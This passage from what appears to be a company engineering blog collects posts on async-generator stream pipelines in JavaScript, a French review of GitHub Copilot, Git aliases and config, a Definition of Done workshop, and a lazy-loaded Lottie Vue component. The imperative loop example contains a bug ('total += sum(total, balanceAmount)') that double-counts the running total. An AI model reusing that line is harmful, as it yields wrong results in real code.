However, this implementation may not be efficient to process a large number of transactions as it needs to load all the transactions in memory and semantically recreates a new array between each step of the pipeline (in practice, Javascript engines are able to optimize this kind of code).
Beyond the eventual problem of performance, we can note the transactions get processed in batches rather than one by one, which is not ideal either (imagine the last item of the stream fails at the first stage, no data gets processed at all)
Another approach would be to write a loop, in an imperative way, processing one item at a time:
const processingRule = (transactions) => { let total = 0; for (const transaction of transactions) { if (isCategoryFood(transaction) && isBalanceNegative(transaction) && isIn2021(transaction)) { const balanceAmount = getBalanceAmount(transaction); total += sum(total, balanceAmount); } } return total; };
Whereas you might save some memory and processing resources, you also lose flexibility and readability. Could we get the best of both worlds?
Streams
Conceptually, we want to process the transactions one by one as they are emitted over time. We often call this concept stream.
Whether you refer to the DOM streams or the nodejs streams, you can abstract away the implementation details by considering as (readable) stream anything that implements the async iterator protocol and therefore can be consumed with a basic
for await
loop. This includes simple arrays as well as actual nodejs readable streams for example:import {createReadStream} from 'fs'; (async () => { // print the chunks of a large file in nodejs for await (const chunk of createReadStream('./someFile.tx')) { console.log(chunk.toString('utf-8')); } // simple array const array = [1,2,3,5]; for await (const number of array) { console.log(number); } // counting down numbers emitted over time (with async generator) const wait = (time = 500) => new Promise((resolve) => { setTimeout(() =>{ resolve(); }, time) }); async function *sequence(limit = 10) { while(limit >= 0){ await wait(); yield limit; limit--; } } for await (const number of sequence()) { console.log(number); } })();
It then becomes easy to write composable transform/filter operators thanks to async generators:
const map = (mapFn) => async function* (stream) { for await (const item of stream) { yield mapFn(item); } }; const filter = (predicate) => async function* (stream) { for await (const item of stream) { if (predicate(item)) { yield item; } } }; // fold a stream, returning a promise const reduce = (reducer, init = 0) => async function (stream) { let acc = init; for await (const item of stream) { acc = reducer(acc, item); } return acc; };
Now if we use a generic composition function, we can easily build a processing pipeline that abstracts away the data source as long as it matches the abstract stream interface defined above
const pipe = (fns) => (arg) => fns.reduce((x, f) => f(x), arg); const pipeline = pipe([ filter(isTransactionMatching), map(getBalanceAmount), reduce(sum, 0) ])
We managed to write our code in a declarative way while processing the transactions one by one; and interestingly the pipeline does not depend on the data source:
const transactions = [{ balance: -3000, date: '2021-09-01', category: 'food', description: 'Yummy Restaurant corp' }, /* ... */]; // from an array pipeline(transactions).then(console.log).catch(console.log) // from a databse cursor pipeline(Transaction.find()).then(console.log).catch(console.log) // etc
Conclusion
While the async iterators interface is a good way to model the concept of readable stream in an abstract way, async generators functions allow to easily define generic processing steps in a declarative way with function composition. This approach lets us gather the best of two programming paradigms: declarative and imperative code.
N.B: the content of this post is drawn from a talk of the lyon-js meetup we held in our office
-
GitHub Copilot
Qu’est ce ?
Si je cite la documentation il s’agit de son “AI pair programmer”, ce que je comprends par là c’est, la personne assise à côté de moi, qui est censée m’aider, m’assister lorsque j’écris du code. Donc je me retrouve à faire du pair programming à longueur de temps avec un développeur virtuel ayant connaissance de toute la codebase publique de GitHub. En effet si je regarde la documentation encore une fois, j’apprends que le modèle a été entraîné sur des milliards de lignes de codes stockées sur GitHub. Ce n’est pas un “simple” outil d’auto-complétion, cela va plus loin, en regardant le contexte et en suggérant un bloc de code complet pour écrire une fonction ou encore terminer logiquement la liste des constantes que j’ai commencé à saisir. L’idée étant de gagner du temps, en évitant les allers retours sur internet pour vérifier comment faire telle ou telle chose ou encore trouver des exemples.
Comment ça fonctionne ?
En installant le plugin dans son IDE favori (pour l’instant sont supportés: Visual Studio Code, Neovim et JetBrains) celui-ci va analyser le contexte en regardant les commentaires et le code pour pouvoir proposer une suggestion. Il peut s’agir de la fin d’une ligne de code ou d’une fonction entière juste à partir du nom de celle-ci. GitHub Copilot s’appuie sur OpenAI Codex pour justement comprendre nos attentions en se basant sur ce que nous avons déjà codé mais aussi sur ce que nous avons écrit en commentaire du code. L’idée étant de choisir la meilleure solution proposée ou de modifier une proposition afin d’améliorer continuellement le modèle comme on peut le voir sur le schéma ci-dessous.
De la promesse à la réalité (Technical Preview)
Des débuts compliqués
L’installation est super simple puisqu’il n’y a rien à faire à part installer l’extension pour son IDE préféré. Ensuite il faut avoir reçu son invitation par email après s’être inscrit pour la “Technical Preview”. À partir de là les premiers soucis sont arrivés puisque la version du plugin que j’avais pour IntelliJ le faisait littéralement planter à longueur de temps dès que j’écrivais la moindre ligne de code et sans rien me suggérer… FAUX DÉPART
La lumière au bout de la touche TAB
Après une mise à jour du plugin il semblerait que tout soit rentré dans l’ordre et j’étais enfin prêt à devenir un meilleur développeur. Un exemple d’une première intervention très utile a été le suivant, j’étais en train d’écrire le résultat attendu d’une fonction dans un test unitaire et GitHub Copilot est venu me filer un petit coup de main d’une manière très intelligente sur les données que j’avais à compléter.
Dans cet exemple on voit que je suis en train d’ajouter une propriété à mon objet et qu’il y a une suite logique dans ces données, à savoir, les mois de l’année 2022. Il a donc été capable de s’alimenter du contexte de mon test et de la récurrence de la donnée pour me suggérer la bonne réponse: “Avril 2022”. La bonne nouvelle c’est que la proposition est instantanée aucun ralentissement ressenti et il n’y a pas eu non plus d’analyse du fichier en amont qui m’aurait empêchée d’avancer, tout se fait en temps réel.
Comme je le disais plus haut GitHub Copilot va plus loin que de l’auto complétion et essaie de nous faire gagner du temps en essayant de deviner le code que l’on souhaite écrire. C’est ce qu’on va voir dans l’exemple suivant où grâce au nom de la fonction et au contexte dans lequel se trouve cette fonction il me propose de tout écrire lui même…
Dans cet exemple j’ai écris le nom de la fonction et ses paramètres, à partir de là il me suggère ce que pourrait être le corps de la fonction selon lui et c’est plutôt pas mal pour être honnête. Il a détecté que j’utilisais la librairie
moment.js
et l’utilise donc pour calculer la différence entre les deux dates. Peut être que je ne souhaite pas avoir la différence en jours mais ceci étant dit si c’est la seule modification que j’ai à faire par la suite ça me semble être un véritable gain de temps.Dans cet exemple on prend le cas d’une suggestion spécifique à une technologie, en l’occurence nous sommes dans un contexte Vue avec Vue Router et je définis les routes pour mon application. De part la structure de mes routes il est capable de me suggérer ce que je vais vouloir faire pour celles en dessous de mon layout principal. Ici on voit clairement l’apprentissage sur le code de GitHub car on imagine assez bien que c’est un bout de code “normal” que de vouloir protéger ce genre de routes.
Un dernier exemple pour la route avant de conclure et pour mettre en avant la compréhension du langage au delà du code. Ici on voit bien que c’est grâce à la description de mon test que GitHub Copilot est capable de me suggérer ce que je veux écrire. Je parle en effet de vouloir vérifier qu’il y a bien 12 éléments qui sont retournés par ma fonction et il me propose donc de tester que le résultat de mon appel à une taille de 12 sans même que j’ai à écrire quoi que ce soit.
Après un mois d’utilisation…
Globalement je trouve que c’est une réussite (surtout pour une Technical Preview), sur le fond, c’est à dire la pertinence de ce qui est proposé, c’est tout simplement impressionnant et véritablement utile au quotidien. Sur la forme, c’est à dire la façon dont est suggéré le code en mode inline, c’est parfois un peu trop intrusif voir même perturbant pour s’y retrouver quand ça nous propose des gros pavés de plusieurs lignes de codes. Pas facile cependant de trouver un juste milieu mais on peut imaginer que l’IA va s’améliorer avec le temps jusqu’à n’intervenir que quand on en a vraiment besoin.
En ce qui me concerne je pense continuer à l’utiliser au quotidien, je suis curieux de voir si les suggestions vont s’améliorer avec temps et s’adapter à mes habitudes de code. Reste à voir si ce service restera gratuit car GitHub parle déjà d’un potentiel d’une version “commerciale”. En attendant je vous invite à tester pour vous faire votre propre idée sur le sujet quitte à activer uniquement le plugin de temps en temps.
Où vont mes données ?
Dans sa documentation GitHub précise que seul le contexte du fichier dans lequel on travaille est transmis et qu’ensuite est stocké si oui ou non on accepte la suggestions qui a été faite. Pour plus de détails je vous invite à aller lire la documentation qui est complète sur ce sujet.
Les biais de l’apprentissage
Si on utilise les suggestions et qu’on push notre code pour que celui-ci soit utilisé dans l’apprentissage de l’IA est-ce qu’on ne va pas se retrouver dans une boucle où tout le monde fait tout le temps pareil sans innovation ? Pire encore, des mauvaises pratiques pourraient se propager à grande échelle ? Il en va de même pour les failles de sécurités qui existent sur les repos GitHub dont l’IA se sert pour faire son apprentissage, cependant GitHub précise que plusieurs outils sont mis en place pour filtrer et suggérer le code le plus secure possible. Plus de détails dans la documentation.
Du coup c’est bon on peut se séparer de tous les développeurs ?
Pour l’instant les deux idées principales du projet sont d’aider les développeurs existants en réduisant les tâches répétitives et en leur permettant de gagner du temps ainsi que rendre le code plus accessible à tous notamment pour ceux qui veulent débuter. Encore une fois je vous renvoie vers la documentation qui aborde ce sujet.
-
Pimp my Git
Git has become almost unavoidable when you work as a dev today.
Git is a pretty awesome tool in my opinion, that has never let me down during the past 10 years. (Really. The thing. Just. Works. Kudos to the developers and maintainers because not all our devtools achieve this over 10 years).
Git, however, has one big drawback in everyday use (some people find a lot of other, more philosophical drawbacks): the User Interface sucks.
I’ve been spending the last 10 years trying to explain to junior developers or even non-developers staff, the subtile differences between
checkout
andreset
and when to use one or the other. Howrebase
works. Don’t get me started onsubmodule
.Basic everyday operations like unstaging or discarding changes, used to require remembering commands like
git reset HEAD
orgit checkout -- <file>
, both used for totally different operation like changing the working branch or undoing commit…There are two things that have really helped me “grok” and become more fluent in Git:
1/ reading Pro Git by Scott Chacon and Ben Straub
(available for free, but it’s so good I bought 2 paper versions). It really explains the working models of Git perfectly, and how to build your own mental model to use it, and to understand what you’re doing.
The book uses nice, well-thought-out pictures and diagrams to explain each concept. Still a reference after all those years, and one of the best reading investments I’ve done in my carrier.
2/ customizing Git with my own configuration,
Basically building my own User Interface, with my daily used commands perfectly setup for my current workflow.
What started as a way to improve my Git experience ended up in exploring the config of other Git users to learn more tricks with my favorite tool.
You just need to edit you Git config file (usually
~/.gitconfig
) to start improving your Git experience.Config options
The first way to customize Git is just to configure some of its many options.
Some are quite basics, like changing the colors for the different status of files in
git status
output:[color "status"] added = green changed = red untracked = cyan unmerged = magenta
Other options allow you to define the tools you want to use with Git, like which merge tool to use to resolve conflicts:
[merge] tool = kdiff3
Finally, the more interesting options can change the default behaviour of some of the most used Git command.
For example, you can configure
rebase
to auto-stash your local modifications before starting the rebasing process, and auto-pop them once you’re done, allowing you to easily rebase your working area on main without worry.[rebase] autostash = true
Git aliases
The other way to improve your Git user experience is to use aliases to define your own new Git commands.
This can be used to shorten commands that you’ll type hundreds of time every day.
[alias] s = status
Or to enable some flags by default. Let’s say you want your diff to ignore all space modifications by default:
d = diff --ignore-all-space
In those simple cases, the command you want to execute with your alias is another Git command so you just need to write the command and its flags without any particular syntax.
my-alias = <git cmd> [...flags]
Then you’ll be able to invoke you alias as you would any other Git command.
git my-alias
And Git will automatically substitute your alias with the command specified.
Invoking shell commands
You can, in fact, execute any command with a Git alias, including non-git commands. You’ll however need to prefix those commands with
!
to denote external commands, and usually you’ll also have to wrap them in double quotes.hello = "!echo 'hello'"
Typing
git hello
will simply print “hello” in your shell.This really unlocks the power of the Git aliases, allowing you to do some really convenient stuff.
Like invoking external tools:
ignore = "!gi() { curl -L -s <https://www.gitignore.io/api/$@> ;}; gi"
Now by typing
git ignore node
you’ll get a default.gitignore
file for Node projects.(Note the use of an inline shell function to include in the URL, the arguments you pass to your Git alias).
You can also chain Git commands.
addrm = "!git rm $(git ls-files --deleted)"
This alias will stage all the deleted files in your working area.
Finally, this syntax can be used to invoke other Git aliases. You can normally not define an alias using another alias directly, but by executing another Git process to launch the alias, you can achieve the same result.
di = diff --color-words diff-staged = "!git di --cached"
git diff-staged
will show you the diff between HEAD and your staging area (aka index), what would be committed bygit commit
.Building your own configuration
My own advice would be to build your own configuration incrementally.
Avoid adding a lot of aliases or options at once, since you’ll then struggle to become familiar with them all. Start small and add just a few aliases for your most used commands in your everyday flow.
You can also dedicate a section of your config to the cools tricks you found along the way, that you won’t use every day.
When you want to see your aliases you can use
alias = "!git config -l | grep alias | cut -c 7-"
Conclusion
Using the Git configuration file you can totally customize your Git experience.
Many developers have been building their own configuration files over the years, and publish them online on sites like Github. Reading those files is probably the best way to learn new tricks and to discover the rich configuration options available.
I should also mention that Git user interface is gradually and steadily improving with each new version. This started with adding useful command reminders in the output of
git status
command and the like. And today new commands are added likegit restore
to avoid using unrelated commands likecheckout
to unstage or discard your modifications.While old users like me will probably keep using their time-honed aliases in their daily flow, hats off to the Git developers and maintainers that keep working to improve the experience of new or non-technical users.
Now go forth and pimp your Git.
-
The value of a Definition of Done
We’ve recently established a “definition of done” (DoD) in one of our development teams. In this article, we’re going to talk about:
- Why we did it
- How we did it
- What the results were
Let’s go ➡️
Objectives: Why did we do it?
Taken literally, the value of a definition of done is to have a common agreement on when a feature is ready to be shipped, or when it can be considered “finished”. But this is not exactly why we did it, we didn’t exactly have this issue. What we had was a misalignment on how much effort to put into work that comes in addition to the feature itself, for example, monitoring, documentation, and fixing bugs that come after the initial delivery.
In a way, we were not satisfied with an implicit and minimalist “coded, tested, shipped” definition of done.
In addition, and more important than the result itself, the process was crucial to us: taking a moment all together to take a step back, to listen to everyone’s opinion, and to iterate together towards a more efficient team.
Process and tool: how did we do it?
As with software development, an iterative mindset is helpful: start with a draft, and keep adjusting it. Once a draft is drawn, have a retrospective on this definition of done after a couple of sprints. Here’s how our workshop went:
Start with explaining the process and the benefits you’re expecting from the workshop. And here’s the process:
- Individual and silent brainstorm, in which each participant writes their definition of done, one item on an individual note. Optionally, the organizer can prompt the team with some subjects to illustrate the expectations of this phase and broaden everyone’s perspective
- Each participant takes a turn shares and explains their notes
- Group the notes
- Sum up each group with a sentence. This sentence will be an element in the definition of done
- Refine these sentences, ensure that put together they cover everything and that each sentence meets the following criteria:
- The item is clear of any ambiguity
- The item is testable and can be either met or not, with no grey zone
- The item is concise
- The item is realistic, only put actions you will actually do and merely not dream of
- The item relevant, this is where the jokes get left behind 🙂
- Take a vote. Each participant has 6 votes to spread on 3 items in the following manner: 3 votes on the favorite item, 2 votes on the next, 1 vote on the last. Decide where you draw the line in the number of items to keep. Between 3 and 5 is a good idea.
- You have your definition of done! Now make it visible and actionable. How to do it is another decision you will have to make as a team
We’ve used Metro Retro, a tool we know and love, the board split into 3 boxes:
- The first box for the brainstorms and groups
- The second where new notes are created for the summaries of the groups
- The third where the selected items are moved to
Results
For a team of 7, we planned 1.5h. It took us 2 and we didn’t have time left to discuss how to make it actionable! We recommend allocating at least 2h and considering splitting it into two sessions.
The feedback of the team members was mostly positive but with some doubts about whether it will be used and will change anything. Indeed, making it actionable is key, and we decided to simply require the fulfillment of the DoD to mark a feature as “delivered” in the table listing the company’s ongoing projects.
The objective described at the beginning has been met. We reached a common agreement on the deliverables accompanying the feature itself, how to identify whether these deliverables have been done. In addition, the resulting DoD has “forced” us to make an effort on the monitoring and documentation, although it took some discipline. Both the process itself and the result of the process have proven valuable.
A parting gift
To end this article on a concrete note, here’s our definition of done:
- A dashboard measures the impact of the feature
- The monitoring shows no major error for a period set in advance
- A test plan has been written, it covers the main and edge cases. It has been executed on the feature
- Automated tests have been written and the coverage satisfies the team
- Technical and functional documentation has been written
-
Lottie Animation
Qu’est-ce que Lottie ? 🧠
Lottie est un format d’animation vectorielle se basant sur des données au format JSON. Il a été créé en 2015 par la société américaine Airbnb.
Airbnb utilise beaucoup d’animations dans son parcours utilisateur et il était souvent problématique pour les développeurs d’intégrer correctement les animations faites par les designers. Les GIFs fournis étaient difficilement adaptables à la résolution d’écran de l’utilisateur et mettait parfois du temps à se charger.
Partant de ce constat, Airbnb a développé un plugin sur le logiciel Adobe After Effects baptisé Bodymovin. Ce plugin permet d’exporter des animations dans un fichier au format JSON.
Le fichier au format JSON peut ensuite être interprété par les différentes librairies proposées par Lottie : sur un navigateur web, sur une application téléphone native ou encore sur une application Windows.
Les avantages de Lottie sont nombreux :
- Le format est multi-plateforme. Le fichier JSON reste inchangé entre les différentes plateformes cibles.
- La résolution des images s’adapte en fonction de la taille de l’écran de l’utilisateur puisque les animations sont au format vectoriel.
- Une animation Lottie est beaucoup plus légère qu’une séquence d’images PNG ou encore un GIF.
“If a PNG is a T-Rex, and a GIF is an elephant, then a Lottie is a puppy.”
- Le format Lottie est beaucoup plus portable que des fichiers SVG animés en CSS.
- Lottie offre également une interface web de modification des animations. Il est donc possible de changer un élément graphique de l’animation puis de réexporter le fichier JSON associé.
Notre besoin chez Indy 💻
Chez Indy, nous souhaitons proposer à nos utilisateurs une expérience moderne et intuitive afin de faciliter leur compréhension de la comptabilité, une notion parfois difficile à appréhender.
Le but était d’annoncer une nouvelle fonctionnalité dans l’application via une animation Lottie.
Réalisation technique de l’intégration de l’animation 🛠️
Création d’un composant Vue générique 🖌️
Nous avons créé un composant générique responsable du chargement de l’animation via la méthode
loadAnimation
de la bibliothèquelottie-web
. L’utilisation d’animation Lottie dans l’application passe obligatoirement par ce composant.Ce composant prend en compte 3 props :
lottieJsonPath
: le chemin vers la source de données JSON. Ce paramètre est évidemment obligatoire.loopAnimation
: l’animation doit-elle être jouée en boucle ? Paramètre optionnel.autoPlayAnimation
: l’animation doit-elle être jouée à l’initialisation du composant ? Paramètre optionnel.
La méthode loadAnimation peut également prendre en compte d’autres paramètres (cf. la documentation), mais nous jugions que ceux-ci étaient inutiles dans notre utilisation. En effet chez Indy, nous respectons le principe YAGNI (« You ain’t gonna need it », qui peut se traduire par « vous n’en aurez pas besoin »). Nous évitons au maximum l’importation de librairies inutiles et l’implémentation de code non utilisés dans l’application.
Voici ce à quoi ressemble le composant LottieAnimation :
<template> <div ref="animationContainer" /> </template> <script> export default { name: 'LottieAnimation', props: { lottieJsonPath: { // the JSON path linked to the animation type: String, required: true, }, loopAnimation: { // Do we want the animation to loop? type: Boolean, required: false, default: true, }, autoPlayAnimation: { // Do we want to play the animation on initialization? type: Boolean, required: false, default: true, }, }, data: () => ({ rendererSettings: { scaleMode: 'centerCrop', clearCanvas: true, progressiveLoad: false, hideOnTransparent: true, }, lottieAnimation: undefined, }), async mounted() { await this.init(); }, beforeDestroy() { this.lottieAnimation?.destroy(); }, methods: { [...] }, }; </script>
⚠️ Il est important d’appeler la méthode
destroy
sur l’objet contenant l’animation dans le hookbeforeDestroy
de Vue pour éviter les fuites de mémoire.Lazy loading de la bibliothèque lottie-web ⚙️
La bibliothèque lottie-web est une bibliothèque plutôt lourde (taille gzipped à 67.3 Ko). Ceci est particulièrement impactant si la bibliothèque est située dans le chunk principal lors du build.
Le chargement de la page principale pour un utilisateur n’ayant pas une bonne connexion prendrait un temps beaucoup plus long dans ce cas. La bibliothèque serait quand même chargée, même si des pages n’affichent pas d’animation Lottie.
Dans notre cas d’utilisation chez Indy, nous utilisons Lottie pour l’instant qu’à un seul endroit. Nous avons souhaité lazy loader la bibliothèque pour qu’elle ne soit chargée que quand l’utilisateur ouvre la page contenant l’animation. Dans sa navigation sur les autres pages, la bibliothèque n’est pas chargée.
Pour lazy loader lottie, nous avons créé un chunk contenant seulement la bibliothèque. La bibliothèque est en mode prefetch, c’est à dire qu’elle ne se charge que quand le navigateur est disponible pour effectuer le chargement.
Voici à quoi ressemble la méthode
init()
de notre composant LottieAnimation. Elle s’occupe de lazy loader la bibliothèque Lottie puis de configurer l’animation Lottie.methods: { async init() { const lottie = await import( /* webpackChunkName: "lottie" */ /* webpackMode: "lazy" */ /* webpackPrefetch: true */ 'lottie-web' ); this.lottieAnimation = lottie.loadAnimation({ container: this.$refs.animationContainer, renderer: 'svg', loop: this.loopAnimation, autoplay: this.autoPlayAnimation, path: this.lottieJsonPath, rendererSettings: this.rendererSettings, }); }, },
⚠️ La référence au container dans la méthode
loadAnimation
ne doit pas pointer sur un élément HTML contenant des directives Vue telles quev-if
. Autrement, le mapping ne peut pas se faire.Code complet du composant LottieAnimation 👨🏽💻
<template> <div ref="animationContainer" /> </template> <script> export default { name: 'LottieAnimation', props: { lottieJsonPath: { // the JSON path linked to the animation type: String, required: true, }, loopAnimation: { // Do we want the animation to loop ? type: Boolean, required: false, default: true, }, autoPlayAnimation: { // Do we want to play the animation on initialization ? type: Boolean, required: false, default: true, }, }, data: () => ({ rendererSettings: { scaleMode: 'centerCrop', clearCanvas: true, progressiveLoad: false, hideOnTransparent: true, }, lottieAnimation: undefined, }), async mounted() { await this.init(); }, beforeDestroy() { this.lottieAnimation?.destroy(); }, methods: { async init() { const lottie = await import( /* webpackChunkName: "lottie" */ /* webpackMode: "lazy" */ /* webpackPrefetch: true */ 'lottie-web' ); this.lottieAnimation = lottie.loadAnimation({ container: this.$refs.animationContainer, renderer: 'svg', loop: this.loopAnimation, autoplay: this.autoPlayAnimation, path: this.lottieJsonPath, rendererSettings: this.rendererSettings, }); }, }, }; </script>